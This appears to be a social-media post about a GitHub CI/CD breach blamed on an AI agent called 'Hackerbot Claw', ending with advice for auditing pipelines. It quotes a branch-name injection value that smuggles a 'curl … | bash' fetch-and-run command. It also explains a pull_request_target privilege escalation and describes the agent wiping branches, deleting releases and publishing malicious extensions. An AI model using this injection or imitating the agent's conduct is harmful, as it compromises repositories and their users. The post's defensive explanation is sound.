GitHub CI/CD pipeline breach

An AI just deleted source code from Microsoft, Datadog, Rust, Python, and Trivy repositories. An AI agent named Hackerbot Claw exploited something embarrassingly simple.

Here's what happened 👇

The attack wasn't sophisticated.

GitHub lets you name a branch almost anything. Hackerbot Claw created pull requests with branch names like:
feature; curl <malicious_url> | bash

Many CI/CD pipelines automatically pull the branch name via github.head_ref and pass it directly into shell commands.

When the pipeline ran, it executed that curl command.
No questions asked.

That's Technique 1. A branch name as a shell injection vector.

Technique 2 is where it got admin access.

Most people know pull_request gives runners a limited token.
But pull_request_target, commonly used for bots adding labels or comments, hands the runner repository admin privileges.

Target a repo using both github.head_ref in shell context + pull_request_target and you have full admin access from a single pull request.

Game over.

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What it did with that access:
- Wiped main branches clean
- Deleted 42 consecutive Trivy releases (v0.27 → v0.69 — gone)
- Published malicious VS Code extensions to unsuspecting users
- Renamed repos private to hide the damage

If you run CI/CD on GitHub, do this today:
- Search your pipelines for pull_request_target
- Check if those same pipelines use github.head_ref in shell commands
- If both exist, you're vulnerable.
Stop using head_ref directly. Sanitize or better replace it.

The scary part isn't that an AI did this.
It's that hundreds of thousands of repositories were one pull request away from this and most still are.

Your pipeline is not just automation. It's an attack surface.
Treat it like one.